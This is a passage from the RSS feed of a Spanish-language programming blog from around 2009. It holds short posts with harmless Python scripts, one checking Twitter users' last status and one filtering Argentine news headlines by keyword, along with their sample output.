mahadeva@blue:~$ python2.5 last_status.py patricio
Couldn't find any status for 'patricio'
mahadeva@blue:~$ python2.5 last_status.py usuarioinexistente
User 'usuarioinexistente' doesn't exist
mahadeva@blue:~$ python2.5 last_status.py shitmydadsays
1 day, 22:35:44.434214</pre></div></div>

]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2010/01/identificando-posibles-drops-de-usuarios-de-twitter-con-python/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Python 2.5 en iPod Touch 2G</title>
		<link>http://www.patriciomolina.com/2009/12/python-2-5-en-ipod-touch-2g/</link>
		<comments>http://www.patriciomolina.com/2009/12/python-2-5-en-ipod-touch-2g/#comments</comments>
		<pubDate>Mon, 21 Dec 2009 04:37:46 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[ipod touch]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=273</guid>
		<description><![CDATA[Calculando un timedelta con Python 2.5.1 en el iPod Touch ¡Muy groso!]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img class="alignnone" title="Python en el iPod Touch" src="http://img710.imageshack.us/img710/5017/pythonipod.png" alt="" width="320" height="480" /></p>
<p style="text-align: center;">Calculando un <a href="http://www.patriciomolina.com/2009/09/python-practico-usando-timedelta-para-calcular-dias-restantes/">timedelta</a> con Python 2.5.1 en el iPod Touch ¡Muy groso!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2009/12/python-2-5-en-ipod-touch-2g/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Me encanta recibir &#8220;buenas noticias&#8221; (con Python)</title>
		<link>http://www.patriciomolina.com/2009/11/me-encanta-recibir-buenas-noticias-con-python/</link>
		<comments>http://www.patriciomolina.com/2009/11/me-encanta-recibir-buenas-noticias-con-python/#comments</comments>
		<pubDate>Fri, 13 Nov 2009 20:39:34 +0000</pubDate>
		<dc:creator>Pato</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[buenas noticias]]></category>
		<category><![CDATA[caos]]></category>
		<category><![CDATA[clarin]]></category>
		<category><![CDATA[infobae]]></category>
		<category><![CDATA[inseguridad]]></category>
		<category><![CDATA[la nación]]></category>
		<category><![CDATA[muertos]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://www.patriciomolina.com/?p=226</guid>
		<description><![CDATA[Acá les dejo un pequeño programa en Python que busca &#8220;buenas noticias&#8221; en los feeds RSS de Clarín, InfoBAE y La Nación. Es altamente configurable (pueden agregar o quitar palabras clave y feeds editando FEEDS y KEYWORDS). 1 2 3 &#8230; <a href="http://www.patriciomolina.com/2009/11/me-encanta-recibir-buenas-noticias-con-python/">Sigue leyendo <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Acá les dejo un pequeño programa en Python que busca &#8220;buenas noticias&#8221; en los <em>feeds</em> RSS de <a href="http://www.clarin.com/diario/hoy/um/sumariorss.xml">Clarín</a>, <a href="http://www.infobae.com/adjuntos/html/RSS/hoy.xml">InfoBAE</a> y <a href="http://www.lanacion.com.ar/herramientas/rss/index.asp">La Nación</a>.</p>
<p>Es altamente configurable (pueden agregar o quitar palabras clave y <em>feeds</em> editando <tt>FEEDS</tt> y <tt>KEYWORDS</tt>).</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;"># -*- coding: utf-8 -*-</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">import</span> feedparser
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">re</span>
&nbsp;
FEEDS = <span style="color: black;">&#123;</span>
    u<span style="color: #483d8b;">'Clarín'</span>: <span style="color: #483d8b;">'http://www.clarin.com/diario/hoy/um/sumariorss.xml'</span>,
    u<span style="color: #483d8b;">'InfoBAE'</span>: <span style="color: #483d8b;">'http://www.infobae.com/adjuntos/html/RSS/hoy.xml'</span>,
    u<span style="color: #483d8b;">'La Nación'</span>: <span style="color: #483d8b;">'http://www.lanacion.com.ar/herramientas/rss/index.asp'</span>,
<span style="color: black;">&#125;</span>
&nbsp;
KEYWORDS = <span style="color: black;">&#91;</span><span style="color: #483d8b;">'muerto'</span>, <span style="color: #483d8b;">'caos'</span>, <span style="color: #483d8b;">'inseguridad'</span><span style="color: black;">&#93;</span>
&nbsp;
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
    regexps = <span style="color: black;">&#91;</span><span style="color: #dc143c;">re</span>.<span style="color: #008000;">compile</span><span style="color: black;">&#40;</span><span style="color: #dc143c;">keyword</span>, <span style="color: #dc143c;">re</span>.<span style="color: black;">IGNORECASE</span><span style="color: black;">&#41;</span> <span style="color: #ff7700;font-weight:bold;">for</span> <span style="color: #dc143c;">keyword</span> <span style="color: #ff7700;font-weight:bold;">in</span> KEYWORDS<span style="color: black;">&#93;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> feed_name, feed_source <span style="color: #ff7700;font-weight:bold;">in</span> FEEDS.<span style="color: black;">iteritems</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
        <span style="color: #ff7700;font-weight:bold;">for</span> entry <span style="color: #ff7700;font-weight:bold;">in</span> feedparser.<span style="color: black;">parse</span><span style="color: black;">&#40;</span>feed_source<span style="color: black;">&#41;</span>.<span style="color: black;">entries</span>:
            <span style="color: #ff7700;font-weight:bold;">for</span> r <span style="color: #ff7700;font-weight:bold;">in</span> regexps:
                <span style="color: #ff7700;font-weight:bold;">if</span> r.<span style="color: black;">search</span><span style="color: black;">&#40;</span>entry.<span style="color: black;">title</span><span style="color: black;">&#41;</span>:
                    <span style="color: #ff7700;font-weight:bold;">print</span> <span style="color: #483d8b;">'%s: %s - %s'</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>feed_name, entry.<span style="color: black;">title</span>, entry.<span style="color: black;">link</span><span style="color: black;">&#41;</span>
                    <span style="color: #ff7700;font-weight:bold;">break</span> 
&nbsp;
<span style="color: #ff7700;font-weight:bold;">if</span> __name__ == <span style="color: #483d8b;">'__main__'</span>:
    main<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span></pre></td></tr></table></div>

<p>Acá tienen unos resultados de ejemplo:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="text" style="font-family:monospace;">mahadeva@blue:~$ python buenasnoticias.py
InfoBAE: Un muerto y miles de evacuados por una explosión en Rusia - http://www.infobae.com/mundo/484082-101275-0-Un-muerto-y-miles-de-evacuados-por-una-explosión-en-Rusia
La Nación: Varios muertos en Rusia tras una explosión en un arsenal militar - http://www.lanacion.com.ar/nota.asp?nota_id=1199099
Clarín: Inseguridad: en medio de los cruces, el oficialismo se despega de D'Elía - http://www.clarin.com/diario/2009/11/13/um/m-02040147.htm
Clarín: 12:35 - Detienen a tres chicos por el caso del empresario muerto por una pedrada - http://www.clarin.com/diario/2009/11/13/um/m-02040124.htm
Clarín: Otro choque en la General Paz provocó un caos en el tránsito - http://www.clarin.com/diario/2009/11/13/um/m-02040083.htm
Clarín: Detienen a tres chicos por el caso del empresario muerto por una pedrada - http://www.clarin.com/diario/2009/11/13/um/m-02040124.htm</pre></td></tr></table></div>

]]></content:encoded>
			<wfw:commentRss>http://www.patriciomolina.com/2009/11/me-encanta-recibir-buenas-noticias-con-python/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
	</channel>
</rss>

